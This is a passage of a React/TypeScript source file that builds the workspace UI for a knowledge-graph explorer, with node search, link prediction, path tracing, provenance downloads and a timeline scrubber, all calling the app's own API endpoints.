.graph-status-copy { color: #8fa8c6; font-size: 12px; line-height: 1.55; margin-bottom: 14px; max-width: 40ch; }
|
||||
.graph-status-metrics, .graph-command-row, .graph-toggle-cluster, .graph-action-cluster { display: flex; gap: 8px; flex-wrap: wrap; }
|
||||
.graph-command-row { justify-content: space-between; align-items: center; gap: 10px; }
|
||||
.graph-search-shell { flex: 1; min-width: 260px; display: flex; align-items: center; gap: 10px; padding: 8px 10px 8px 14px; border-radius: 18px; border: 1px solid rgba(132, 197, 255, 0.12); background: rgba(0, 0, 0, 0.18); box-shadow: inset 0 1px 0 rgba(255,255,255,0.03); }
|
||||
.graph-search-shell input { flex: 1; min-width: 0; border: none !important; background: transparent !important; padding: 0 !important; margin: 0 !important; }
|
||||
.graph-search-shell input:focus { outline: none; }
|
||||
.graph-search-results { position: absolute; top: 120px; right: 18px; width: min(420px, calc(100vw - 132px)); max-height: 320px; overflow-y: auto; padding: 12px; border-radius: 20px; border: 1px solid rgba(132, 197, 255, 0.14); background: linear-gradient(180deg, rgba(8, 18, 33, 0.94), rgba(10, 21, 38, 0.86)); box-shadow: 0 18px 50px rgba(0,0,0,0.34); backdrop-filter: blur(18px); pointer-events: auto; z-index: 11; }
|
||||
.graph-search-results-label { color: #6f89ab; font-size: 11px; font-weight: 700; text-transform: uppercase; letter-spacing: 0.08em; margin-bottom: 10px; }
|
||||
.graph-search-result-card { width: 100%; text-align: left; padding: 12px 14px; border-radius: 16px; border: 1px solid rgba(132, 197, 255, 0.08); background: rgba(255, 255, 255, 0.025); cursor: pointer; transition: transform 160ms ease, border-color 160ms ease, background 160ms ease; }
|
||||
.graph-search-result-card:hover { transform: translateY(-1px); border-color: rgba(132, 197, 255, 0.18); background: rgba(103, 182, 255, 0.08); }
|
||||
.graph-inspector { pointer-events: auto; position: absolute; right: 18px; top: 154px; bottom: 108px; width: 380px; overflow-y: auto; transition: transform 0.34s cubic-bezier(0.16,1,0.3,1), opacity 0.22s ease; border-radius: 28px; border: 1px solid rgba(132, 197, 255, 0.14); background: linear-gradient(180deg, rgba(8, 18, 33, 0.9), rgba(6, 12, 22, 0.88)), radial-gradient(circle at top, rgba(103, 182, 255, 0.08), transparent 40%); box-shadow: -18px 0 48px rgba(0, 0, 0, 0.32), inset 0 1px 0 rgba(255,255,255,0.04); backdrop-filter: blur(20px); }
|
||||
.graph-inspector[data-open='false'] { transform: translateX(calc(100% + 24px)); opacity: 0; }
|
||||
@keyframes sem-loader-pulse {
|
||||
0%, 100% { transform: translateY(0) scale(0.92); opacity: 0.55; }
|
||||
50% { transform: translateY(-4px) scale(1.08); opacity: 1; }
|
||||
}
|
||||
@media (max-width: 1220px) {
|
||||
.graph-shell-top { flex-direction: column; align-items: stretch; }
|
||||
.graph-status-card, .graph-command-card { width: auto; }
|
||||
.graph-search-results { top: 202px; right: 18px; left: 18px; width: auto; }
|
||||
}
|
||||
`;
|
||||
|
||||
function useDebounce<T>(value: T, delay: number): T {
|
||||
const [debouncedValue, setDebouncedValue] = useState<T>(value);
|
||||
useEffect(() => {
|
||||
const timeout = setTimeout(() => setDebouncedValue(value), delay);
|
||||
return () => clearTimeout(timeout);
|
||||
}, [delay, value]);
|
||||
return debouncedValue;
|
||||
}
|
||||
|
||||
function sourceAttribution(properties: Record<string, unknown>) {
|
||||
const keys = ["source", "source_url", "pmid", "pmids", "evidence", "provenance", "confidence"];
|
||||
return keys
|
||||
.filter((key) => key in properties)
|
||||
.map((key) => ({ key, value: properties[key] }));
|
||||
}
|
||||
|
||||
function toSelectedNodeState(node: ApiNode, neighborCount: number, fallbackColor = "#58a6ff"): GraphSelectedNodeState {
|
||||
return {
|
||||
id: node.id,
|
||||
label: node.content || node.id,
|
||||
content: node.content || node.id,
|
||||
nodeType: node.type,
|
||||
color: fallbackColor,
|
||||
valid_from: node.valid_from ?? null,
|
||||
valid_until: node.valid_until ?? null,
|
||||
properties: node.properties ?? {},
|
||||
neighborCount,
|
||||
visibleNeighborCount: neighborCount,
|
||||
collapsedNeighborCount: 0,
|
||||
isNeighborhoodCollapsed: false,
|
||||
canCollapseNeighborhood: neighborCount > 8,
|
||||
};
|
||||
}
|
||||
|
||||
function TimelineFallback({ min, max }: TemporalBounds) {
|
||||
return (
|
||||
<div
|
||||
style={{
|
||||
width: "100%",
|
||||
height: "90px",
|
||||
borderTop: "1px solid rgba(88, 166, 255, 0.2)",
|
||||
background: "rgba(1, 4, 9, 0.88)",
|
||||
display: "flex",
|
||||
alignItems: "center",
|
||||
justifyContent: "space-between",
|
||||
padding: "0 18px",
|
||||
color: "#8fa8c6",
|
||||
fontSize: 12,
|
||||
flexShrink: 0,
|
||||
}}
|
||||
>
|
||||
<span>Temporal scrubber</span>
|
||||
<span>{min || max ? "Preparing timeline runtime..." : "Temporal bounds loading..."}</span>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
function NodePanel({
|
||||
node,
|
||||
predictions,
|
||||
predictionType,
|
||||
onPredictionTypeChange,
|
||||
onRunPredictions,
|
||||
pathTargetId,
|
||||
onPathTargetChange,
|
||||
onTracePath,
|
||||
pathResult,
|
||||
onDownloadProvenance,
|
||||
}: {
|
||||
node: GraphSelectedNodeState | null;
|
||||
predictions: LinkPrediction[];
|
||||
predictionType: string;
|
||||
onPredictionTypeChange: (value: string) => void;
|
||||
onRunPredictions: () => void;
|
||||
pathTargetId: string;
|
||||
onPathTargetChange: (value: string) => void;
|
||||
onTracePath: () => void;
|
||||
pathResult: PathResponse | null;
|
||||
onDownloadProvenance: (format: "json" | "markdown") => void;
|
||||
}) {
|
||||
if (!node) {
|
||||
return (
|
||||
<div style={{ padding: 32, textAlign: "center" }}>
|
||||
<p style={{ color: "#8b949e", fontSize: 14, margin: 0 }}>
|
||||
Search for a node or click one in the canvas to inspect its properties.
|
||||
</p>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
const properties = node.properties ?? {};
|
||||
const attribution = sourceAttribution(properties);
|
||||
const accentColor = node.color || "#58a6ff";
|
||||
const propertyEntries = Object.entries(properties).filter(([key]) => !["x", "y", "valid_from", "valid_until", "content", "source", "source_url", "pmid", "pmids", "evidence", "provenance", "confidence"].includes(key));
|
||||
|
||||
return (
|
||||
<aside style={{ padding: 24, display: "flex", flexDirection: "column", gap: 18 }}>
|
||||
<div style={{ borderBottom: "1px solid rgba(88, 166, 255, 0.14)", paddingBottom: 16 }}>
|
||||
<div style={{ display: "flex", alignItems: "center", gap: 10, marginBottom: 8 }}>
|
||||
<span style={{ background: accentColor, boxShadow: `0 0 10px ${accentColor}`, width: 8, height: 8, borderRadius: "50%" }} />
|
||||
<span style={{ color: accentColor, fontSize: 12, fontWeight: 800, textTransform: "uppercase", letterSpacing: "0.08em" }}>{node.nodeType || "Entity"}</span>
|
||||
</div>
|
||||
<h3 style={{ margin: 0, color: "#fff", fontSize: 24, lineHeight: 1, fontWeight: 800, letterSpacing: "-0.04em", wordBreak: "break-word" }}>{node.label}</h3>
|
||||
<div style={{ color: "#8b949e", fontSize: 12, marginTop: 8 }}>{node.id}</div>
|
||||
<div style={{ display: "flex", gap: 8, flexWrap: "wrap", marginTop: 12 }}>
|
||||
{node.valid_from || node.valid_until ? <span style={subtleChipStyle}>temporal</span> : null}
|
||||
<span style={subtleChipStyle}>{node.neighborCount} neighbors</span>
|
||||
{attribution.length ? <span style={subtleChipStyle}>{attribution.length} source fields</span> : null}
|
||||
{predictions.length ? <span style={subtleChipStyle}>{predictions.length} candidate links</span> : null}
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<section style={sectionStyle}>
|
||||
<div style={sectionTitleStyle}>Actions</div>
|
||||
<div style={{ display: "flex", flexDirection: "column", gap: 10 }}>
|
||||
<button style={{ ...actionButtonStyle, width: "100%", justifyContent: "center" }} onClick={onRunPredictions}>Run Link Prediction</button>
|
||||
<div style={{ display: "flex", gap: 8, flexWrap: "wrap" }}>
|
||||
<button style={secondaryActionButtonStyle} onClick={() => onDownloadProvenance("json")}>Provenance JSON</button>
|
||||
<button style={secondaryActionButtonStyle} onClick={() => onDownloadProvenance("markdown")}>Provenance MD</button>
|
||||
</div>
|
||||
</div>
|
||||
<input value={predictionType} onChange={(event) => onPredictionTypeChange(event.target.value)} placeholder="Optional candidate type filter, e.g. disease" style={inputStyle} />
|
||||
</section>
|
||||
|
||||
<section style={sectionStyle}>
|
||||
<div style={sectionTitleStyle}>Trace Path</div>
|
||||
<input value={pathTargetId} onChange={(event) => onPathTargetChange(event.target.value)} placeholder="Target node ID" style={inputStyle} />
|
||||
<button style={actionButtonStyle} onClick={onTracePath}>Trace Causal Path</button>
|
||||
{pathResult?.path?.length ? (
|
||||
<div style={{ display: "flex", flexDirection: "column", gap: 6, marginTop: 10 }}>
|
||||
{pathResult.path.map((step, index) => (
|
||||
<div key={`${step}-${index}`} style={pathStepStyle}>{index + 1}. {step}</div>
|
||||
))}
|
||||
<div style={{ color: "#79c0ff", fontSize: 12, marginTop: 4 }}>total weight: {pathResult.total_weight.toFixed(3)}</div>
|
||||
</div>
|
||||
) : (
|
||||
<div style={emptyTextStyle}>Choose a target or click a candidate prediction to prepare a path trace.</div>
|
||||
)}
|
||||
</section>
|
||||
|
||||
<details style={collapseStyle} open={predictions.length > 0}>
|
||||
<summary style={summaryStyle}>Candidate Links</summary>
|
||||
<div style={{ padding: "0 14px 14px" }}>
|
||||
{predictions.length > 0 ? (
|
||||
<div style={{ display: "flex", flexDirection: "column", gap: 8 }}>
|
||||
{predictions.map((prediction) => (
|
||||
<button key={`${prediction.target}-${prediction.type}`} style={predictionCardStyle} onClick={() => onPathTargetChange(prediction.target)}>
|
||||
<div style={{ color: "#fff", fontWeight: 600 }}>{prediction.label || prediction.target}</div>
|
||||
<div style={{ color: "#8b949e", fontSize: 12 }}>{prediction.type}</div>
|
||||
<div style={{ color: "#58a6ff", fontSize: 12, marginTop: 4 }}>confidence {prediction.score.toFixed(3)}</div>
|
||||
</button>
|
||||
))}
|
||||
</div>
|
||||
) : (
|
||||
<div style={emptyTextStyle}>Run link prediction to surface likely next-hop relationships.</div>
|
||||
)}
|
||||
</div>
|
||||
</details>
|
||||
|
||||
<details style={collapseStyle}>
|
||||
<summary style={summaryStyle}>Source Attribution</summary>
|
||||
<div style={{ padding: "0 14px 14px" }}>
|
||||
{attribution.length ? (
|
||||
<div style={{ display: "flex", flexDirection: "column", gap: 8 }}>
|
||||
{attribution.map(({ key, value }) => (
|
||||
<div key={key} style={propertyCardStyle}>
|
||||
<div style={{ color: "rgba(88, 166, 255, 0.7)", fontSize: 11, marginBottom: 4 }}>{key}</div>
|
||||
<div style={{ color: "#e6edf3", fontSize: 13, wordBreak: "break-word" }}>{typeof value === "object" ? JSON.stringify(value) : String(value)}</div>
|
||||
</div>
|
||||
))}
|
||||
</div>
|
||||
) : (
|
||||
<div style={emptyTextStyle}>No explicit attribution metadata was found on this node.</div>
|
||||
)}
|
||||
</div>
|
||||
</details>
|
||||
|
||||
<details style={collapseStyle}>
|
||||
<summary style={summaryStyle}>Properties</summary>
|
||||
<div style={{ padding: "0 14px 14px" }}>
|
||||
{propertyEntries.length ? (
|
||||
<div style={{ display: "flex", flexDirection: "column", gap: 8 }}>
|
||||
{propertyEntries.map(([key, value]) => (
|
||||
<div key={key} style={propertyCardStyle}>
|
||||
<div style={{ color: "rgba(88, 166, 255, 0.7)", fontSize: 11, marginBottom: 4 }}>{key}</div>
|
||||
<div style={{ color: "#e6edf3", fontSize: 13, wordBreak: "break-word" }}>{typeof value === "object" ? JSON.stringify(value) : String(value)}</div>
|
||||
</div>
|
||||
))}
|
||||
</div>
|
||||
) : (
|
||||
<div style={emptyTextStyle}>No additional properties are attached to this node.</div>
|
||||
)}
|
||||
</div>
|
||||
</details>
|
||||
</aside>
|
||||
);
|
||||
}
|
||||
|
||||
export function GraphWorkspaceShell() {
|
||||
const [selectedNodeId, setSelectedNodeId] = useState("");
|
||||
const [selectedNodeState, setSelectedNodeState] = useState<GraphSelectedNodeState | null>(null);
|
||||
const [isLayoutRunning, setIsLayoutRunning] = useState(false);
|
||||
const [viewMode, setViewMode] = useState<GraphViewMode>("full");
|
||||
const [searchQuery, setSearchQuery] = useState("");
|
||||
const [searchResults, setSearchResults] = useState<SearchResult[]>([]);
|
||||
const [searchError, setSearchError] = useState("");
|
||||
const [predictionType, setPredictionType] = useState("");
|
||||
const [predictions, setPredictions] = useState<LinkPrediction[]>([]);
|
||||
const [pathTargetId, setPathTargetId] = useState("");
|
||||
const [pathResult, setPathResult] = useState<PathResponse | null>(null);
|
||||
const [activeNodeCount, setActiveNodeCount] = useState<number | null>(null);
|
||||
const [temporalBounds, setTemporalBounds] = useState<TemporalBounds | null>(null);
|
||||
const [scrubberTime, setScrubberTime] = useState<Date | null>(null);
|
||||
// Deduplicates setScrubberTime calls by millisecond value — same fix as
|
||||
// GraphWorkspace.tsx (issue #830).
|
||||
const lastScrubberMsRef = useRef<number | null>(null);
|
||||
const onTimeChange = useCallback((time: Date) => {
|
||||
const ms = time.getTime();
|
||||
if (ms === lastScrubberMsRef.current) {
|
||||
return;
|
||||
}
|
||||
lastScrubberMsRef.current = ms;
|
||||
setScrubberTime(time);
|
||||
}, []);
|
||||
const [loadingProgress, setLoadingProgress] = useState<GraphLoadProgress | null>(null);
|
||||
const [isGraphStageReady, setIsGraphStageReady] = useState(false);
|
||||
const [layoutStatus, setLayoutStatus] = useState<GraphLayoutStatus>({
|
||||
state: "idle",
|
||||
source: "runtime",
|
||||
hasCoordinates: false,
|
||||
layoutReady: false,
|
||||
displacement: null,
|
||||
elapsedMs: 0,
|
||||
stableSamples: 0,
|
||||
});
|
||||
|
||||
const debouncedTime = useDebounce(scrubberTime, 150);
|
||||
const stageRef = useRef<GraphStageHandle>(null);
|
||||
const reload = useReloadGraphData();
|
||||
const { data: snapshot, isLoading, isFetching, isError, error } = useGraphData({ enabled: true, onProgress: setLoadingProgress });
|
||||
|
||||
const handleSelectedNodeStateChange = useCallback((state: GraphSelectedNodeState | null) => {
|
||||
setSelectedNodeState(state);
|
||||
}, []);
|
||||
|
||||
const handleLayoutRunningChange = useCallback((running: boolean) => {
|
||||
setIsLayoutRunning(running);
|
||||
}, []);
|
||||
|
||||
const handleActiveNodeCountChange = useCallback((count: number | null) => {
|
||||
setActiveNodeCount(count);
|
||||
}, []);
|
||||
|
||||
const handleProgressChange = useCallback((progress: GraphLoadProgress | null) => {
|
||||
setLoadingProgress(progress);
|
||||
}, []);
|
||||
|
||||
const handleRuntimeReady = useCallback(() => {
|
||||
setIsGraphStageReady(true);
|
||||
}, []);
|
||||
|
||||
const handleLayoutStatusChange = useCallback((status: GraphLayoutStatus) => {
|
||||
setLayoutStatus(status);
|
||||
if (status.layoutReady) {
|
||||
setLoadingProgress(null);
|
||||
}
|
||||
}, []);
|
||||
|
||||
const [prevFetchedAt, setPrevFetchedAt] = useState(snapshot?.fetchedAt);
|
||||
if (snapshot?.fetchedAt !== prevFetchedAt) {
|
||||
setPrevFetchedAt(snapshot?.fetchedAt);
|
||||
if (snapshot) {
|
||||
setIsGraphStageReady(false);
|
||||
setActiveNodeCount(null);
|
||||
setLayoutStatus({
|
||||
state: snapshot.summary.layoutReady ? "interactive" : "idle",
|
||||
source: snapshot.summary.layoutSource ?? "runtime",
|
||||
hasCoordinates: snapshot.summary.hasCoordinates ?? false,
|
||||
layoutReady: snapshot.summary.layoutReady ?? false,
|
||||
displacement: null,
|
||||
elapsedMs: 0,
|
||||
stableSamples: 0,
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
useEffect(() => {
|
||||
let cancelled = false;
|
||||
const loadBounds = async () => {
|
||||
try {
|
||||
const response = await fetch("/api/temporal/bounds");
|
||||
if (!response.ok || cancelled) return;
|
||||
const data: TemporalBounds = await response.json();
|
||||
if (!cancelled) setTemporalBounds(data);
|
||||
} catch {
|
||||
if (!cancelled) setTemporalBounds(null);
|
||||
}
|
||||
};
|
||||
void loadBounds();
|
||||
return () => {
|
||||
cancelled = true;
|
||||
};
|
||||
}, [snapshot?.summary.nodeCount, snapshot?.summary.edgeCount]);
|
||||
|
||||
const neighborCountMap = useMemo(() => {
|
||||
const map = new Map<string, number>();
|
||||
if (!snapshot) return map;
|
||||
for (const node of snapshot.nodes) map.set(node.id, 0);
|
||||
for (const edge of snapshot.edges) {
|
||||
map.set(edge.source, (map.get(edge.source) ?? 0) + 1);
|
||||
map.set(edge.target, (map.get(edge.target) ?? 0) + 1);
|
||||
}
|
||||
return map;
|
||||
}, [snapshot]);
|
||||
|
||||
const visibleSelectedNode = useMemo(() => {
|
||||
if (!selectedNodeId) return null;
|
||||
if (selectedNodeState?.id === selectedNodeId) return selectedNodeState;
|
||||
const snapshotNode = snapshot?.nodes.find((candidate) => candidate.id === selectedNodeId);
|
||||
if (snapshotNode) return toSelectedNodeState(snapshotNode, neighborCountMap.get(snapshotNode.id) ?? 0);
|
||||
const searchNode = searchResults.find((candidate) => candidate.node.id === selectedNodeId)?.node;
|
||||
return searchNode
|
||||
? {
|
||||
id: searchNode.id,
|
||||
label: searchNode.content || searchNode.id,
|
||||
content: searchNode.content || searchNode.id,
|
||||
nodeType: searchNode.type,
|
||||
color: "#58a6ff",
|
||||
valid_from: null,
|
||||
valid_until: null,
|
||||
properties: searchNode.properties ?? {},
|
||||
neighborCount: 0,
|
||||
visibleNeighborCount: 0,
|
||||
collapsedNeighborCount: 0,
|
||||
isNeighborhoodCollapsed: false,
|
||||
canCollapseNeighborhood: false,
|
||||
}
|
||||
: null;
|
||||
}, [neighborCountMap, searchResults, selectedNodeId, selectedNodeState, snapshot]);
|
||||
|
||||
const focusNode = useCallback((nodeId: string) => {
|
||||
setSelectedNodeId(nodeId);
|
||||
setPathResult(null);
|
||||
|
||||
if (!nodeId) {
|
||||
setSelectedNodeState(null);
|
||||
setPredictions([]);
|
||||
return;
|
||||
}
|
||||
|
||||
setSearchResults([]);
|
||||
setIsLayoutRunning(false);
|
||||
}, []);
|
||||
|
||||
const handleSearch = useCallback(async () => {
|
||||
if (!searchQuery.trim()) {
|
||||
setSearchResults([]);
|
||||
return;
|
||||
}
|
||||
|
||||
setSearchError("");
|
||||
try {
|
||||
const response = await fetch("/api/graph/search", {
|
||||
method: "POST",
|
||||
headers: { "Content-Type": "application/json" },
|
||||
body: JSON.stringify({ query: searchQuery, limit: 8 }),
|
||||
});
|
||||
if (!response.ok) {
|
||||
throw new Error(`Search failed with status ${response.status}`);
|
||||
}
|
||||
|
||||
const data = await response.json();
|
||||
setSearchResults(data.results || []);
|
||||
if (data.results?.length) {
|
||||
focusNode(data.results[0].node.id);
|
||||
}
|
||||
} catch (searchFetchError) {
|
||||
setSearchError(searchFetchError instanceof Error ? searchFetchError.message : "Search failed");
|
||||
}
|
||||
}, [focusNode, searchQuery]);
|
||||
|
||||
const handleRunPredictions = useCallback(async () => {
|
||||
if (!selectedNodeId) return;
|
||||
|
||||
try {
|
||||
const response = await fetch("/api/enrich/links", {
|
||||
method: "POST",
|
||||
headers: { "Content-Type": "application/json" },
|
||||
body: JSON.stringify({
|
||||
node_id: selectedNodeId,
|
||||
top_n: 6,
|
||||
candidate_type: predictionType || undefined,
|
||||
min_score: 0,
|
||||
}),
|
||||
});
|
||||
if (!response.ok) {
|
||||
throw new Error(`Link prediction failed with status ${response.status}`);
|
||||
}
|
||||
|
||||
const data = await response.json();
|
||||
setPredictions(data.predictions || []);
|
||||
} catch (predictionError) {
|
||||
console.error("[GraphWorkspaceShell] prediction failed", predictionError);
|
||||
setPredictions([]);
|
||||
}
|
||||
}, [predictionType, selectedNodeId]);
|
||||
|
||||
const handleTracePath = useCallback(async () => {
|
||||
if (!selectedNodeId || !pathTargetId.trim()) return;
|
||||
|
||||
try {
|
||||
const pathParams = new URLSearchParams({
|
||||
source: selectedNodeId,
|
||||
target: pathTargetId.trim(),
|
||||
algorithm: "dijkstra",
|
||||
});
|
||||
const response = await fetch(
|
||||
`/api/graph/path?${pathParams.toString()}`,
|
||||
);
|
||||
if (!response.ok) {
|
||||
throw new Error(`Path lookup failed with status ${response.status}`);
|
||||
}
|
||||
|
||||
const data: PathResponse = await response.json();
|
||||
setPathResult(data);
|
||||
if (data.path?.length) {
|
||||
const lastStep = data.path[data.path.length - 1];
|
||||
stageRef.current?.focusNode(lastStep);
|
||||
}
|
||||
} catch (pathError) {
|
||||
console.error("[GraphWorkspaceShell] path trace failed", pathError);
|
||||
setPathResult(null);
|
||||
}
|
||||
}, [pathTargetId, selectedNodeId]);
|
||||
|
||||
const handleDownloadProvenance = useCallback(async (format: "json" | "markdown") => {
|
||||
if (!selectedNodeId) return;
|
||||
|
||||
const suffix = format === "markdown" ? "markdown" : "json";
|
||||
const response = await fetch(`/api/provenance/report?node_id=${encodeURIComponent(selectedNodeId)}&format=${suffix}`);
|
||||
if (!response.ok) {
|
||||
throw new Error(`Provenance report failed with status ${response.status}`);
|
||||
}
|
||||
|
||||
const blob = await response.blob();
|
||||
const url = window.URL.createObjectURL(blob);
|
||||
const anchor = document.createElement("a");
|
||||
anchor.href = url;
|
||||
anchor.download = `${selectedNodeId}_provenance.${format === "markdown" ? "md" : "json"}`;
|
||||
document.body.appendChild(anchor);
|
||||
anchor.click();
|
||||
window.URL.revokeObjectURL(url);
|
||||
document.body.removeChild(anchor);
|
||||
}, [selectedNodeId]);
|
||||
|
||||
const searchSummary = useMemo(() => {
|
||||
if (!searchResults.length) return null;
|
||||
return `${searchResults.length} search result${searchResults.length === 1 ? "" : "s"}`;
|
||||
}, [searchResults.length]);
|
||||
|
||||
const focusedSummary = useMemo(() => {
|
||||
if (!visibleSelectedNode) return null;
|
||||
if (viewMode === "focused") {
|
||||
const visibleNeighbors = Math.min(visibleSelectedNode.neighborCount, 16);
|
||||
return `${visibleNeighbors + 1} nodes in focused view`;
|
||||
}
|
||||
return `${visibleSelectedNode.neighborCount} direct neighbors highlighted`;
|
||||
}, [viewMode, visibleSelectedNode]);
|
||||
|
||||
const requestViewMode = useCallback((nextViewMode: GraphViewMode) => {
|
||||
if (nextViewMode === "focused") {
|
||||
if (!selectedNodeId) {
|
||||
return;
|
||||
}
|
||||
setViewMode("focused");
|
||||
setIsLayoutRunning(false);
|
||||
return;
|
||||
}
|
||||
|
||||
setViewMode("full");
|
||||
}, [selectedNodeId]);
|
||||
|
||||
const showLoadingOverlay =
|
||||
isLoading
|
||||
|| isFetching
|
||||
|| !isGraphStageReady
|
||||
|| (layoutStatus.source === "runtime" && !layoutStatus.layoutReady && !selectedNodeId && viewMode === "full");
|
||||
|
||||
const layoutStatusLabel = useMemo(() => {
|
||||
if (layoutStatus.source === "provided" && layoutStatus.layoutReady) return "Persisted layout";
|
||||
if (layoutStatus.source === "carried" && layoutStatus.layoutReady) return "Preserved layout";
|
||||
if (layoutStatus.state === "bootstrapping") return "Bootstrapping layout";
|
||||
if (layoutStatus.state === "running") return "Stabilizing layout";
|
||||
if (layoutStatus.state === "failed") return "Layout timeout fallback";
|
||||
return null;
|
||||
}, [layoutStatus]);
|
||||
|
||||
return (
|
||||
<div className="palantir-bg" style={{ position: "relative", width: "100%", height: "100%", overflow: "hidden", display: "flex", flexDirection: "column" }}>
|
||||
<style>{HUD_CSS}</style>
|
||||
<div className="palantir-grid" />
|
||||
<div className="palantir-vignette" />
|
||||
|
||||
<div style={{ flex: 1, position: "relative", zIndex: 3, minHeight: 0 }}>
|
||||
<Suspense fallback={null}>
|
||||
<GraphRuntimeStage
|
||||
ref={stageRef}
|
||||
snapshot={snapshot}
|
||||
selectedNodeId={selectedNodeId}
|
||||
activePath={pathResult?.path ?? []}
|
||||
onNodeSelect={focusNode}
|
||||
onSelectedNodeStateChange={handleSelectedNodeStateChange}
|
||||
isLayoutRunning={isLayoutRunning}
|
||||
onLayoutRunningChange={handleLayoutRunningChange}
|
||||
viewMode={viewMode}
|
||||
temporalTime={debouncedTime}
|
||||
onActiveNodeCountChange={handleActiveNodeCountChange}
|
||||
onProgressChange={handleProgressChange}
|
||||
onLayoutStatusChange={handleLayoutStatusChange}
|
||||
onRuntimeReady={handleRuntimeReady}
|
||||
/>
|
||||
</Suspense>
|
||||
<GraphLoadingOverlay
|
||||
progress={loadingProgress}
|
||||
visible={showLoadingOverlay}
|
||||
showGraphBehind={Boolean(loadingProgress?.showGraphBehind || isGraphStageReady)}
|
||||
/>
|
||||
</div>
|
||||
|
||||
<Suspense fallback={<TimelineFallback min={temporalBounds?.min ?? null} max={temporalBounds?.max ?? null} />}>
|
||||
<TimelinePanel
|
||||
onTimeChange={onTimeChange}
|
||||
minDate={temporalBounds?.min ?? undefined}
|
||||
maxDate={temporalBounds?.max ?? undefined}
|
||||
/>
|
||||
</Suspense>
|
||||
|
||||
<div style={{ position: "absolute", inset: 0, pointerEvents: "none", zIndex: 10 }}>
|
||||
<div className="graph-shell-top">
|
||||
<section className="graph-status-card">
|
||||
<div className="graph-status-label">Graph Studio</div>
|
||||
<div className="graph-status-title">{visibleSelectedNode ? visibleSelectedNode.label : "Knowledge Explorer"}</div>
|
||||
<div className="graph-status-metrics">
|
||||
{showLoadingOverlay && loadingProgress ? <span style={{ ...metricPillStyle, color: "#a9ddff" }}>{getGraphLoadTitle(loadingProgress.phase)}</span> : null}
|
||||
{layoutStatusLabel ? <span style={{ ...metricPillStyle, color: "#a9ddff" }}>{layoutStatusLabel}</span> : null}
|
||||
{snapshot ? <span style={metricPillStyle}>{snapshot.summary.nodeCount.toLocaleString()} nodes · {snapshot.summary.edgeCount.toLocaleString()} edges</span> : null}
|
||||
{activeNodeCount !== null ? <span style={{ ...metricPillStyle, color: "#4fd49c", borderColor: "rgba(79, 212, 156, 0.22)" }}>{activeNodeCount.toLocaleString()} active</span> : null}
|
||||
{searchSummary ? <span style={metricPillStyle}>{searchSummary}</span> : null}
|
||||
{focusedSummary ? <span style={{ ...metricPillStyle, color: "#f2b66d", borderColor: "rgba(242, 182, 109, 0.24)" }}>{focusedSummary}</span> : null}
|
||||
{isError ? <span style={{ ...metricPillStyle, color: "#ff8f85", borderColor: "rgba(255, 123, 114, 0.22)" }}>{(error as Error).message}</span> : null}
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<section className="graph-command-card">
|
||||
<div className="graph-command-row">
|
||||
<div className="graph-toggle-cluster">
|
||||
{selectedNodeId ? (
|
||||
<>
|
||||
<button onClick={() => requestViewMode("focused")} style={{ ...actionButtonStyle, background: viewMode === "focused" ? "rgba(31, 111, 235, 0.38)" : actionButtonStyle.background, borderColor: viewMode === "focused" ? "rgba(127, 208, 255, 0.42)" : "rgba(88, 166, 255, 0.2)" }}>Focused View</button>
|
||||
<button onClick={() => requestViewMode("full")} style={{ ...actionButtonStyle, background: viewMode === "full" ? "rgba(31, 111, 235, 0.38)" : actionButtonStyle.background, borderColor: viewMode === "full" ? "rgba(127, 208, 255, 0.42)" : "rgba(88, 166, 255, 0.2)" }}>Full Graph</button>
|
||||
</>
|
||||
) : (
|
||||
<span style={{ color: "#7f95b3", fontSize: 12 }}>Select a node to switch graph views</span>
|
||||
)}
|
||||
</div>
|
||||
|
||||
<div className="graph-action-cluster">
|
||||
<button onClick={() => setIsLayoutRunning((value) => !value)} style={secondaryActionButtonStyle} disabled={isLoading || isFetching}>
|
||||
{isLayoutRunning ? "Pause Layout" : "Run Layout"}
|
||||
</button>
|
||||
<button onClick={() => { setIsGraphStageReady(false); reload(); }} style={secondaryActionButtonStyle} disabled={isLoading || isFetching}>
|
||||
Reload
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div className="graph-command-row">
|
||||
<div className="graph-search-shell">
|
||||
<input
|
||||
value={searchQuery}
|
||||
onChange={(event) => setSearchQuery(event.target.value)}
|
||||
onKeyDown={(event) => {
|
||||
if (event.key === "Enter") {
|
||||
void handleSearch();
|
||||
}
|
||||
}}
|
||||
placeholder="Search a node, e.g. Metformin"
|
||||
style={{ ...inputStyle, minWidth: 260 }}
|
||||
disabled={showLoadingOverlay && !selectedNodeId}
|
||||
/>
|
||||
<button onClick={() => void handleSearch()} style={actionButtonStyle} disabled={showLoadingOverlay && !selectedNodeId}>Search</button>
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
</div>
|
||||
|
||||
{searchError ? <div style={{ position: "absolute", top: 144, right: 34, color: "#ff7b72", fontSize: 12, pointerEvents: "auto" }}>{searchError}</div> : null}
|
||||
{searchResults.length ? (
|
||||
<div className="graph-search-results hud-scrollbar">
|
||||
<div className="graph-search-results-label">Search Results</div>
|
||||
<div style={{ display: "flex", flexDirection: "column", gap: 8 }}>
|
||||
{searchResults.map((result) => (
|
||||
<button key={result.node.id} className="graph-search-result-card" onClick={() => focusNode(result.node.id)}>
|
||||
<div style={{ color: "#fff", fontWeight: 700 }}>{result.node.content || result.node.id}</div>
|
||||
<div style={{ color: "#8b949e", fontSize: 12 }}>{result.node.type}</div>
|
||||
<div style={{ color: "#58a6ff", fontSize: 12, marginTop: 4 }}>score {result.score.toFixed(3)}</div>
|
||||
</button>
|
||||
))}
|
||||
</div>
|
||||
</div>
|
||||
) : null}
|
||||
|
||||
<div className="graph-inspector hud-scrollbar" data-open={selectedNodeId ? "true" : "false"}>
|
||||
<NodePanel
|
||||
node={visibleSelectedNode}
|
||||
predictions={predictions}
|
||||
predictionType={predictionType}
|
||||
onPredictionTypeChange={setPredictionType}
|
||||
onRunPredictions={() => void handleRunPredictions()}
|
||||
pathTargetId={pathTargetId}
|
||||
onPathTargetChange={setPathTargetId}
|
||||
onTracePath={() => void handleTracePath()}
|
||||
pathResult={pathResult}
|
||||
onDownloadProvenance={(format) => void handleDownloadProvenance(format)}
|
||||
/>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
